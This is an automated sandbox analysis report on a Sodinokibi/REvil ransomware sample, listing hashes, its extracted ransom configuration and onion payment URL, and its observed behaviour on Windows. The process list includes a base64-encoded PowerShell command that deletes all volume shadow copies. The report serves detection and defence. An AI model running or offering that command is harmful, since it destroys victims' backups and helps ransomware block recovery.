Analysis
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max time kernel
147s -
max time network
166s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
07-06-2022 17:48
Static task
static1
Behavioral task
behavioral1
Sample
1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe
Resource
win10v2004-20220414-en
General
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Target
1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe
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Size
164KB
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MD5
af93df4d11d547ac7b4f829487eda638
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SHA1
573688ef2515b6bb2f07263e98b1fd143eb20c54
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SHA256
1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92
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SHA512
bd22ffd9251bac4fc39bf1c3e97bbf2350bae1a6bfc9efd626a1d798b48db4c56aa3e0ac2cdeab10eb62387da26bd0c221b1032e770515f01cf368fd93f3c1b4
Malware Config
Extracted
C:\59o937942t-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/EDA38C24453330A3
http://decryptor.top/EDA38C24453330A3
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Modifies extensions of user files 2 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exedescription ioc process File renamed C:\Users\Admin\Pictures\AddGrant.png => \??\c:\users\admin\pictures\AddGrant.png.59o937942t 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File renamed C:\Users\Admin\Pictures\UnlockUnprotect.raw => \??\c:\users\admin\pictures\UnlockUnprotect.raw.59o937942t 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exedescription ioc process File opened (read-only) \??\R: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\V: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\W: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\E: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\H: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\M: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\B: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\G: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\J: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\O: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\P: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\Q: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\S: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\T: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\A: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\K: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\N: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\Z: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\D: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\U: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\X: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\Y: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\F: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\I: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened (read-only) \??\L: 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\21dd1zi2e9470.bmp" 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe -
Drops file in Program Files directory 28 IoCs
Processes:
1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exedescription ioc process File created \??\c:\program files (x86)\59o937942t-readme.txt 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\ApproveExport.doc 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\SavePop.avi 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\ShowFind.gif 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\NewReceive.DVR 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\SelectDebug.tif 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\UndoProtect.wav 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\UnlockComplete.contact 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\CompareBackup.inf 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\DebugRequest.3gp 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\InitializeUnpublish.eprtx 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\TraceCheckpoint.ppsx 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\ExportCopy.emf 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\ResizeGrant.m4v 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\RevokeResize.reg 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\BackupReceive.au 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\SplitPing.cr2 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\UnprotectBlock.mp3 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\BlockShow.dwg 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\DenyWait.mpe 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\InitializeDisconnect.m1v 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\MergeExport.mov 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File created \??\c:\program files\59o937942t-readme.txt 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\ConfirmSync.odt 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\InstallLimit.easmx 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\OutUse.xsl 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\OptimizePush.php 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe File opened for modification \??\c:\program files\SuspendHide.dxf 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exepowershell.exepid process 2428 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe 2428 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe 3488 powershell.exe 3488 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 3488 powershell.exe Token: SeBackupPrivilege 4144 vssvc.exe Token: SeRestorePrivilege 4144 vssvc.exe Token: SeAuditPrivilege 4144 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exedescription pid process target process PID 2428 wrote to memory of 3488 2428 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe powershell.exe PID 2428 wrote to memory of 3488 2428 1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe"C:\Users\Admin\AppData\Local\Temp\1bb894b7a8742c7ec6d28fbea08713f842aca4fe6d90a5a5d87c1b247da90f92.exe"1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/3488-130-0x0000000000000000-mapping.dmp
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memory/3488-131-0x000001EC5C610000-0x000001EC5C632000-memory.dmpFilesize
136KB
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memory/3488-132-0x00007FF89A910000-0x00007FF89B3D1000-memory.dmpFilesize
10.8MB
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memory/3488-133-0x00007FF89A910000-0x00007FF89B3D1000-memory.dmpFilesize
10.8MB